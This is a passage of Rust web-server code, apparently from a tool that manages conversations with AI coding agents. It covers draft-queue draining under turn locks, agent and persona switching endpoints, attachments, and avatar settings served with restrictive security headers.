9962    cfg: Config,
9963    id: String,
9964    turn: TalkTurnGuard,
9965    observed: u64,
9966) -> bool {
9967    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9968        let turns = Arc::clone(&turn.turns);
9969        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9970        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9971            // Release under the arrival lock; a later `/say` takes its own claim.
9972            turn.release(&mut live);
9973            return false;
9974        }
9975    }
9976    let (started, settled) = tokio::sync::oneshot::channel();
9977    tokio::spawn(drain_loop_started(
9978        talk,
9979        talks,
9980        cfg,
9981        id,
9982        turn,
9983        Some(started),
9984    ));
9985    settled.await.unwrap_or(false)
9986}
9987
9988#[cfg(not(test))]
9989async fn drain_loop_started(
9990    talk: Talk,
9991    talks: Talks,
9992    _cfg: Config,
9993    id: String,
9994    turn: TalkTurnGuard,
9995    started: Option<tokio::sync::oneshot::Sender<bool>>,
9996) {
9997    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9998    let running = if pending {
9999        match crate::chat_worker::spawn_turn(&talks, &id).await {
10000            Ok(_) => true,
10001            Err(error) => {
10002                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10003                false
10004            }
10005        }
10006    } else {
10007        false
10008    };
10009    drop(turn);
10010    if let Some(started) = started {
10011        let _ = started.send(running);
10012    }
10013}
10014
10015// Existing in-process conversation tests exercise transcript/arrival ordering;
10016// real process-lifetime behavior is covered by the CLI integration tests.
10017#[cfg(test)]
10018async fn drain_loop_started(
10019    mut talk: Talk,
10020    talks: Talks,
10021    cfg: Config,
10022    id: String,
10023    turn: TalkTurnGuard,
10024    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10025) {
10026    let live_set = Arc::clone(&turn.turns);
10027    // `Option` rather than binding `turn` directly to a `_turn` that lives
10028    // for the whole function: releasing it has to happen by calling
10029    // `TalkTurnGuard::release` from inside the locked branch below, which
10030    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10031    // remove the id - correctly, if this loop is ever left some other way -
10032    // but doing it there misses the lock this loop is already holding, which
10033    // is the exact gap `release` exists to close.
10034    let mut turn = Some(turn);
10035    loop {
10036        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10037            // The lease was taken over while a turn ran. Whatever is queued
10038            // stays a draft; running it here would race the new owner.
10039            tracing::warn!("talk {id} lost its turn lease; not draining further");
10040            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10041            if let Some(turn) = turn.take() {
10042                turn.release(&mut live);
10043            }
10044            break;
10045        }
10046        // `talk::drain` takes the store lock and can write/rename the talk
10047        // file. Keep the turn mutex out of that synchronous work: it protects
10048        // every talk's in-memory claim, not this talk's disk operation.
10049        let observed = live_set
10050            .lock()
10051            .unwrap_or_else(PoisonError::into_inner)
10052            .queued
10053            .get(&id)
10054            .copied()
10055            .unwrap_or(0);
10056        let drained = blocking({
10057            let talks = talks.clone();
10058            move || {
10059                let result = talk::drain(&mut talk, &talks);
10060                Ok((talk, result))
10061            }
10062        })
10063        .await;
10064        let (next_talk, result) = match drained {
10065            Ok(drained) => drained,
10066            Err(e) => {
10067                tracing::warn!(
10068                    status = %e.status,
10069                    message = %e.message,
10070                    "talk {id} could not start queued-text drain"
10071                );
10072                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10073                turn.take()
10074                    .expect("held for the whole loop until released here")
10075                    .release(&mut live);
10076                break;
10077            }
10078        };
10079        talk = next_talk;
10080        let drained = match result {
10081            Ok(Some(drained)) => drained,
10082            Ok(None) => {
10083                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10084                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10085                    continue;
10086                }
10087                turn.take()
10088                    .expect("held for the whole loop until released here")
10089                    .release(&mut live);
10090                break;
10091            }
10092            Err(e) => {
10093                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10094                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10095                turn.take()
10096                    .expect("held for the whole loop until released here")
10097                    .release(&mut live);
10098                break;
10099            }
10100        };
10101        if let Some(started) = started.take() {
10102            let _ = started.send(true);
10103        }
10104        let responded = match turn.as_ref() {
10105            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10106            None => Err(anyhow::anyhow!("the turn guard was released")),
10107        };
10108        if let Err(e) = responded {
10109            tracing::warn!("talk {id} turn failed: {e:#}");
10110        }
10111    }
10112    drop(turn);
10113    if let Some(started) = started {
10114        let _ = started.send(false);
10115    }
10116}
10117
10118/// Clear a queued draft only if it remains exactly the one the caller saw.
10119async fn talk_pending_clear(
10120    State(ui): State<Arc<Ui>>,
10121    Path(id): Path<String>,
10122    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10123) -> ApiResult<Json<TalkView>> {
10124    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10125    blocking(move || {
10126        let id = resolve_talk(&ui.talks, &id)?;
10127        let mut talk = ui.talks.get(&id)?;
10128        if !talk.status.open() {
10129            return Err(ApiError::conflict(format!(
10130                "talk {} is {} and takes no more turns",
10131                talk.short(),
10132                talk.status.as_str()
10133            )));
10134        }
10135        if !talk::clear_pending_if_matches(
10136            &mut talk,
10137            &ui.talks,
10138            &body.expected_text,
10139            &body.expected_attachments,
10140        )? {
10141            return Err(ApiError::conflict(
10142                "queued message changed; reload it before clearing",
10143            ));
10144        }
10145        let thinking = ui.is_thinking(&talk.id);
10146        Ok(Json(TalkView::new(talk, thinking, &ui)))
10147    })
10148    .await
10149}
10150
10151/// Atomically edit a queued draft's text while preserving its attachments.
10152/// The snapshot fields make a concurrent queue or drain a conflict rather
10153/// than silently discarding either message.
10154async fn talk_pending_edit(
10155    State(ui): State<Arc<Ui>>,
10156    Path(id): Path<String>,
10157    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10158) -> ApiResult<Json<TalkView>> {
10159    let admission = ui.begin_admission()?;
10160    admitted(admission, async move {
10161        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10162        let id = {
10163            let ui = Arc::clone(&ui);
10164            blocking(move || resolve_talk(&ui.talks, &id)).await?
10165        };
10166        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10167            .await
10168            .map_err(ApiError::from)?;
10169        let (view, reclaimed) = blocking({
10170            let ui = Arc::clone(&ui);
10171            move || {
10172                let mut talk = ui.talks.get(&id)?;
10173                if !talk.status.open() {
10174                    return Err(ApiError::conflict(format!(
10175                        "talk {} is {} and takes no more turns",
10176                        talk.short(),
10177                        talk.status.as_str()
10178                    )));
10179                }
10180                if !talk::edit_pending_message(
10181                    &mut talk,
10182                    &ui.talks,
10183                    &body.text,
10184                    &body.expected_text,
10185                    &body.expected_attachments,
10186                    body.message,
10187                )? {
10188                    return Err(ApiError::conflict(
10189                        "queued message changed; reload it before editing",
10190                    ));
10191                }
10192                let claim = match ui.begin_queued_talk_turn(&id)? {
10193                    Some(turn_guard) => {
10194                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10195                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10196                    }
10197                    None => None,
10198                };
10199                let thinking = ui.is_thinking(&id);
10200                Ok((TalkView::new(talk, thinking, &ui), claim))
10201            }
10202        })
10203        .await?;
10204        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10205            let talks = ui.talks.clone();
10206            #[cfg(not(test))]
10207            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10208            #[cfg(test)]
10209            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10210        }
10211        Ok(Json(view))
10212    })
10213    .await
10214}
10215
10216/// The 409 for a talk that takes no more turns.
10217fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10218    if talk.status.open() {
10219        return Ok(());
10220    }
10221    Err(ApiError::conflict(format!(
10222        "talk {} is {} and takes no more turns",
10223        talk.short(),
10224        talk.status.as_str()
10225    )))
10226}
10227
10228/// The body of `POST /api/talks/{id}/agent`.
10229#[derive(Debug, Deserialize)]
10230struct TalkAgent {
10231    agent: String,
10232}
10233
10234/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10235/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10236/// start a turn on the old session between the check and the write; one that
10237/// arrives in that window finds the talk busy and becomes a draft.
10238async fn talk_agent(
10239    State(ui): State<Arc<Ui>>,
10240    Path(id): Path<String>,
10241    Json(body): Json<TalkAgent>,
10242) -> ApiResult<Json<TalkView>> {
10243    let admission = ui.begin_admission()?;
10244    admitted(admission, async move {
10245        let id = {
10246            let ui = Arc::clone(&ui);
10247            blocking(move || resolve_talk(&ui.talks, &id)).await?
10248        };
10249        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10250            .await
10251            .map_err(ApiError::from)?;
10252        let repo = {
10253            let ui = Arc::clone(&ui);
10254            let id = id.clone();
10255            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10256        };
10257        let cfg = config_for(&repo).await?;
10258        // Refuse before taking the claim; see `talk_implementers`.
10259        {
10260            let ui = Arc::clone(&ui);
10261            let id = id.clone();
10262            let cfg = cfg.clone();
10263            let wanted = body.agent.clone();
10264            blocking(move || {
10265                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10266                    .map_err(ApiError::bad_request_from)?;
10267                refuse_if_closed(&ui.talks.get(&id)?)
10268            })
10269            .await?;
10270        }
10271        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10272            return Err(ApiError::conflict(
10273                "a talk turn is running; change the agent once it has answered",
10274            ));
10275        };
10276        let switched = {
10277            let ui = Arc::clone(&ui);
10278            let id = id.clone();
10279            let cfg = cfg.clone();
10280            blocking(move || {
10281                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10282                    .map_err(ApiError::bad_request_from)?;
10283                let mut talk = ui.talks.get(&id)?;
10284                if !talk.status.open() {
10285                    return Err(ApiError::conflict(format!(
10286                        "talk {} is {} and takes no more turns",
10287                        talk.short(),
10288                        talk.status.as_str()
10289                    )));
10290                }
10291                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10292                Ok(talk)
10293            })
10294            .await
10295        };
10296        // A `/say` that landed while this held the claim saw the talk busy and
10297        // left a durable draft, trusting the claim's owner to drain it. So the
10298        // claim is settled whatever the outcome. Release an empty draft's claim
10299        // before replying; queued drafts continue independently of the handler.
10300        let observed = ui.queued_generation(&id);
10301        let fresh = {
10302            let ui = Arc::clone(&ui);
10303            let id = id.clone();
10304            blocking(move || Ok(ui.talks.get(&id)?)).await
10305        };
10306        let draining = match fresh {
10307            Ok(talk) => {
10308                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10309            }
10310            Err(_) => false,
10311        };
10312        let talk = switched?;
10313        Ok(Json(TalkView::new(talk, draining, &ui)))
10314    })
10315    .await
10316}
10317
10318/// The body of `POST /api/talks/{id}/persona`.
10319#[derive(Debug, Deserialize)]
10320struct TalkPersona {
10321    persona: String,
10322}
10323
10324/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10325/// like [`talk_agent`]: the turn guard is held for the change and always handed
10326/// to `drain_loop`, so a draft left meanwhile is not stranded.
10327async fn talk_persona(
10328    State(ui): State<Arc<Ui>>,
10329    Path(id): Path<String>,
10330    Json(body): Json<TalkPersona>,
10331) -> ApiResult<Json<TalkView>> {
10332    let admission = ui.begin_admission()?;
10333    admitted(admission, async move {
10334        let id = {
10335            let ui = Arc::clone(&ui);
10336            blocking(move || resolve_talk(&ui.talks, &id)).await?
10337        };
10338        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10339            .await
10340            .map_err(ApiError::from)?;
10341        let repo = {
10342            let ui = Arc::clone(&ui);
10343            let id = id.clone();
10344            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10345        };
10346        let cfg = config_for(&repo).await?;
10347        // Refuse before taking the claim; see `talk_implementers`.
10348        {
10349            let ui = Arc::clone(&ui);
10350            let id = id.clone();
10351            let cfg = cfg.clone();
10352            let wanted = body.persona.clone();
10353            blocking(move || {
10354                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10355                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10356                }
10357                refuse_if_closed(&ui.talks.get(&id)?)
10358            })
10359            .await?;
10360        }
10361        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10362            return Err(ApiError::conflict(
10363                "a talk turn is running; change the persona once it has answered",
10364            ));
10365        };
10366        let switched = {
10367            let ui = Arc::clone(&ui);
10368            let id = id.clone();
10369            let cfg = cfg.clone();
10370            blocking(move || {
10371                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10372                    return Err(ApiError::bad_request(format!(
10373                        "unknown persona `{}`",
10374                        body.persona
10375                    )));
10376                };
10377                let mut talk = ui.talks.get(&id)?;
10378                if !talk.status.open() {
10379                    return Err(ApiError::conflict(format!(
10380                        "talk {} is {} and takes no more turns",
10381                        talk.short(),
10382                        talk.status.as_str()
10383                    )));
10384                }
10385                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10386                Ok(talk)
10387            })
10388            .await
10389        };
10390        // As in `talk_agent`: settle the claim before replying, even on refusal.
10391        let observed = ui.queued_generation(&id);
10392        let fresh = {
10393            let ui = Arc::clone(&ui);
10394            let id = id.clone();
10395            blocking(move || Ok(ui.talks.get(&id)?)).await
10396        };
10397        let draining = match fresh {
10398            Ok(talk) => {
10399                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10400            }
10401            Err(_) => false,
10402        };
10403        let talk = switched?;
10404        Ok(Json(TalkView::new(talk, draining, &ui)))
10405    })
10406    .await
10407}
10408
10409/// The body of `POST /api/talks/{id}/implementers`.
10410#[derive(Debug, Deserialize)]
10411struct TalkImplementers {
10412    implementers: u8,
10413}
10414
10415/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10416/// like [`talk_agent`]: the turn guard is held for the change and always handed
10417/// to `drain_loop`, so a draft left meanwhile is not stranded.
10418async fn talk_implementers(
10419    State(ui): State<Arc<Ui>>,
10420    Path(id): Path<String>,
10421    Json(body): Json<TalkImplementers>,
10422) -> ApiResult<Json<TalkView>> {
10423    let admission = ui.begin_admission()?;
10424    admitted(admission, async move {
10425        let id = {
10426            let ui = Arc::clone(&ui);
10427            blocking(move || resolve_talk(&ui.talks, &id)).await?
10428        };
10429        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10430            .await
10431            .map_err(ApiError::from)?;
10432        let repo = {
10433            let ui = Arc::clone(&ui);
10434            let id = id.clone();
10435            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10436        };
10437        let cfg = config_for(&repo).await?;
10438        // Refuse a request that cannot succeed before taking the claim: a claim
10439        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10440        // moment, so a refusal would make the next request see "busy" instead of
10441        // its own answer. The checks after the claim stay the ones that decide.
10442        {
10443            let ui = Arc::clone(&ui);
10444            let id = id.clone();
10445            let cfg = cfg.clone();
10446            let wanted = body.implementers;
10447            blocking(move || {
10448                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10449                refuse_if_closed(&ui.talks.get(&id)?)
10450            })
10451            .await?;
10452        }
10453        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10454            return Err(ApiError::conflict(
10455                "a talk turn is running; change the implementers once it has answered",
10456            ));
10457        };
10458        let switched = {
10459            let ui = Arc::clone(&ui);
10460            let id = id.clone();
10461            let cfg = cfg.clone();
10462            blocking(move || {
10463                let chosen = talk::check_implementers(body.implementers, &cfg)
10464                    .map_err(ApiError::bad_request)?;
10465                let mut talk = ui.talks.get(&id)?;
10466                if !talk.status.open() {
10467                    return Err(ApiError::conflict(format!(
10468                        "talk {} is {} and takes no more turns",
10469                        talk.short(),
10470                        talk.status.as_str()
10471                    )));
10472                }
10473                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10474                Ok(talk)
10475            })
10476            .await
10477        };
10478        // As in `talk_agent`: settle the claim before replying, even on refusal.
10479        let observed = ui.queued_generation(&id);
10480        let fresh = {
10481            let ui = Arc::clone(&ui);
10482            let id = id.clone();
10483            blocking(move || Ok(ui.talks.get(&id)?)).await
10484        };
10485        let draining = match fresh {
10486            Ok(talk) => {
10487                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10488            }
10489            Err(_) => false,
10490        };
10491        let talk = switched?;
10492        Ok(Json(TalkView::new(talk, draining, &ui)))
10493    })
10494    .await
10495}
10496
10497/// `POST /api/talks/{id}/close`.
10498async fn talk_close(
10499    State(ui): State<Arc<Ui>>,
10500    Path(id): Path<String>,
10501) -> ApiResult<Json<TalkView>> {
10502    blocking(move || {
10503        let id = resolve_talk(&ui.talks, &id)?;
10504        let mut talk = ui.talks.get(&id)?;
10505        talk::close(&mut talk, &ui.talks).map_err(|error| {
10506            if error.is::<talk::ClosePendingInput>() {
10507                ApiError::conflict(format!("{error:#}"))
10508            } else {
10509                ApiError::from(error)
10510            }
10511        })?;
10512        let thinking = ui.is_thinking(&talk.id);
10513        Ok(Json(TalkView::new(talk, thinking, &ui)))
10514    })
10515    .await
10516}
10517
10518/// `POST /api/talks/{id}/reopen`.
10519async fn talk_reopen(
10520    State(ui): State<Arc<Ui>>,
10521    Path(id): Path<String>,
10522) -> ApiResult<Json<TalkView>> {
10523    blocking(move || {
10524        let id = resolve_talk(&ui.talks, &id)?;
10525        let mut talk = ui.talks.get(&id)?;
10526        talk::reopen(&mut talk, &ui.talks)?;
10527        let thinking = ui.is_thinking(&talk.id);
10528        Ok(Json(TalkView::new(talk, thinking, &ui)))
10529    })
10530    .await
10531}
10532
10533/// `DELETE /api/talks/{id}`.
10534///
10535/// Removes the conversation's record and artifacts outright, unlike
10536/// [`talk_close`] which keeps the record as history. A turn already in
10537/// flight is not refused here the way [`run_delete`] refuses a live run:
10538/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10539/// under [`Talks::guard`], that the record they are about to write back is
10540/// still there, so a delete racing a turn is safe without this route having
10541/// to know a turn is running at all.
10542async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10543    blocking(move || {
10544        let id = resolve_talk(&ui.talks, &id)?;
10545        ui.talks.remove(&id)?;
10546        Ok(StatusCode::NO_CONTENT)
10547    })
10548    .await
10549}
10550
10551fn talk_ids(root: &FsPath) -> Vec<String> {
10552    std::fs::read_dir(root)
10553        .into_iter()
10554        .flatten()
10555        .flatten()
10556        .filter_map(|e| {
10557            let path = e.path();
10558            if path.extension().is_some_and(|ext| ext == "json") {
10559                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10560            } else {
10561                None
10562            }
10563        })
10564        .collect()
10565}
10566
10567/// Expand an id or short id to exactly one talk id.
10568fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10569    if plain_record_id(id) && store.path_of(id).is_file() {
10570        return Ok(id.to_owned());
10571    }
10572    pick(talk_ids(store.root()), id, "talk")
10573}
10574
10575/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10576/// future `talk-say`.
10577async fn talk_attachment_post(
10578    State(ui): State<Arc<Ui>>,
10579    Path(id): Path<String>,
10580    headers: HeaderMap,
10581    body: Bytes,
10582) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10583    let mime = validate_attachment(&headers, &body)?;
10584    let name = filename_header(&headers);
10585    let data = body.to_vec();
10586    blocking(move || {
10587        let id = resolve_talk(&ui.talks, &id)?;
10588        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10589        Ok((StatusCode::CREATED, Json(att)))
10590    })
10591    .await
10592}
10593
10594/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10595/// `<img>` tag in the transcript.
10596async fn talk_attachment_get(
10597    State(ui): State<Arc<Ui>>,
10598    Path((id, att)): Path<(String, String)>,
10599) -> ApiResult<Response> {
10600    blocking(move || {
10601        let id = resolve_talk(&ui.talks, &id)?;
10602        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10603            return Err(ApiError::not_found(format!(
10604                "talk {id} has no attachment `{att}`"
10605            )));
10606        };
10607        Ok(attachment_response(&meta.mime, data))
10608    })
10609    .await
10610}
10611
10612/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10613/// the icon setting, so changing it changes the URL.
10614fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10615    let id = avatar_encode(&p.id);
10616    format!(
10617        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10618        persona_icon::fingerprint(
10619            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10620        )
10621    )
10622}
10623
10624#[derive(Debug, Default, Deserialize)]
10625struct AvatarQuery {
10626    persona: Option<String>,
10627    /// Set by the page after the first load failed: skip the `icon`.
10628    builtin: Option<String>,
10629}
10630
10631/// Served with every built-in avatar: it is an image, so nothing else may run.
10632const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10633
10634fn builtin_avatar(id: &str) -> Response {
10635    svg_avatar(persona_icon::builtin_svg(id))
10636}
10637
10638async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10639    raster_or_builtin(
10640        read_icon_file(&avatar_setting_path(&ui.home, None))
10641            .filter(|_| q.builtin.is_none())
10642            .as_deref(),
10643        persona_icon::operator_svg(),
10644    )
10645}
10646
10647fn svg_avatar(svg: &'static str) -> Response {
10648    (
10649        [
10650            (header::CONTENT_TYPE, "image/svg+xml"),
10651            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10652            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10653            (header::CACHE_CONTROL, "no-cache"),
10654        ],
10655        svg,
10656    )
10657        .into_response()
10658}
10659
10660fn avatar_encode(value: &str) -> String {
10661    value
10662        .bytes()
10663        .map(|b| {
10664            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10665                char::from(b).to_string()
10666            } else {
10667                format!("%{b:02X}")
10668            }
10669        })
10670        .collect()
10671}
10672
10673// Display-only overrides live outside configuration and conversation records.
10674fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10675    let Some(id) = persona else {
10676        return home.join("avatars/operator.data");
10677    };
10678    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10679    let mut path = home.join("avatars/personas");
10680    for chunk in encoded.as_bytes().chunks(100) {
10681        path.push(std::str::from_utf8(chunk).expect("hex"));
10682    }
10683    path.join("icon.data")
10684}
10685
10686fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10687    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10688        Some(value) if value == "builtin" => Some(String::new()),
10689        Some(value) => Some(value),
10690        None => configured.map(str::to_owned),
10691    }
10692}
10693
10694fn operator_icon_url(home: &FsPath) -> String {
10695    format!(
10696        "/avatars/operator.svg?v={}",
10697        persona_icon::fingerprint(
10698            read_icon_file(&avatar_setting_path(home, None))
10699                .as_deref()
10700                .or(Some(persona_icon::operator_svg()))
10701        )
10702    )
10703}
10704
10705fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10706    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10707        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10708            attachment_response(mime, bytes)
10709        }
10710        _ => svg_avatar(builtin),
10711    };
10712    response
10713        .headers_mut()
10714        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10715    response
10716}
10717
10718#[derive(Default, Deserialize)]
10719struct AvatarSettingsQuery {
10720    repo: Option<PathBuf>,
10721    persona: Option<String>,
10722    builtin: Option<String>,
10723    inherit: Option<String>,
10724}
10725
10726fn avatar_settings_specs(
10727    ui: &Ui,
10728    repo: Option<PathBuf>,
10729) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10730    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10731    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10732        .map(|cfg| cfg.talk.personas)
10733        .unwrap_or_default();
10734    Ok((repo, specs))
10735}
10736
10737fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10738    let Ok(entries) = std::fs::read_dir(path) else {
10739        return;
10740    };
10741    for entry in entries.flatten() {
10742        let name = entry.file_name().to_string_lossy().into_owned();
10743        if name == "icon.data" {
10744            let bytes: Option<Vec<u8>> = prefix
10745                .as_bytes()
10746                .chunks(2)
10747                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10748                .collect();
10749            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10750                out.push(id);
10751            }
10752        } else if name.len() <= 100
10753            && !name.is_empty()
10754            && name.bytes().all(|b| b.is_ascii_hexdigit())
10755            && entry.file_type().is_ok_and(|t| t.is_dir())
10756        {
10757            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10758        }
10759    }
10760}
10761
10762async fn avatar_settings_get(
10763    State(ui): State<Arc<Ui>>,
10764    Query(q): Query<AvatarSettingsQuery>,
10765) -> ApiResult<Json<serde_json::Value>> {
10766    blocking(move || {
10767        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10768        let mut catalog = persona::catalog(&specs);
10769        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10770        let mut saved = Vec::new();
10771        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10772        for id in saved {
10773            if !catalog.iter().any(|p| p.id == id) {
10774                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10775            }
10776        }
10777        let personas: Vec<_> = catalog.iter().map(|p| {
10778            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10779            let override_state = match saved.as_deref() {
10780                Some("builtin") => "builtin",
10781                Some(_) => "custom",
10782                None => "inherit",
10783            };
10784            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10785            serde_json::json!({"id":p.id,"name":p.name,
10786                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10787                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10788                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10789        }).collect();
10790        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10791    }).await
10792}
10793
10794async fn settings_persona_avatar(
10795    State(ui): State<Arc<Ui>>,
10796    Query(q): Query<AvatarSettingsQuery>,
10797) -> ApiResult<Response> {
10798    blocking(move || {
10799        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10800        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10801        let found = persona::find(&specs, id);
10802        let icon =
10803            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10804        Ok(raster_or_builtin(
10805            icon.as_deref().filter(|_| q.builtin.is_none()),
10806            persona_icon::builtin_svg(id),
10807        ))
10808    })
10809    .await
10810}
10811
10812fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10813    if q.persona
10814        .as_ref()
10815        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10816    {
10817        return Err(ApiError::bad_request("invalid persona id"));
10818    }
10819    Ok(())
10820}
10821
10822async fn avatar_settings_put(
10823    State(ui): State<Arc<Ui>>,
10824    Query(q): Query<AvatarSettingsQuery>,
10825    Json(upload): Json<MagiIconUpload>,
10826) -> ApiResult<Json<serde_json::Value>> {
10827    blocking(move || {
10828        validate_avatar_target(&q)?;
10829        save_icon_file(
10830            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10831            &upload.icon,
10832        )
10833        .map_err(ApiError::bad_request_from)?;
10834        Ok(Json(serde_json::json!({"saved":true})))
10835    })
10836    .await
10837}
10838
10839async fn avatar_settings_delete(
10840    State(ui): State<Arc<Ui>>,
10841    Query(q): Query<AvatarSettingsQuery>,
10842) -> ApiResult<Json<serde_json::Value>> {
10843    blocking(move || {
10844        validate_avatar_target(&q)?;
10845        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10846        if q.persona.is_some() && q.inherit.is_none() {
10847            atomic_icon_write(&path, "builtin")?;
10848        } else {
10849            match std::fs::remove_file(path) {
10850                Ok(()) => (),
10851                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10852                Err(e) => return Err(anyhow::Error::from(e).into()),
10853            }
10854        }
10855        Ok(Json(serde_json::json!({"saved":true})))
10856    })
10857    .await
10858}
10859
10860// The global MAGI icon is deliberately independent of repository configuration.
10861fn magi_icon_path(home: &FsPath) -> PathBuf {
10862    home.join("magi-icon.data")
10863}
10864
10865fn read_magi_icon(home: &FsPath) -> Option<String> {
10866    read_icon_file(&magi_icon_path(home))
10867}
10868
10869fn read_icon_file(path: &FsPath) -> Option<String> {
10870    let metadata = std::fs::metadata(path).ok()?;
10871    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10872        return None;
10873    }
10874    let file = std::fs::File::open(path).ok()?;
10875    use std::io::Read;
10876    let mut text = String::new();
10877    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10878        .read_to_string(&mut text)
10879        .ok()?;
10880    if text.len() > persona_icon::ICON_MAX_BYTES {
10881        return None;
10882    }
10883    if text == "builtin" {
10884        return Some(text);
10885    }
10886    validate_uploaded_icon(&text).ok()?;
10887    Some(text)
10888}
10889
10890fn magi_icon_url(home: &FsPath) -> String {
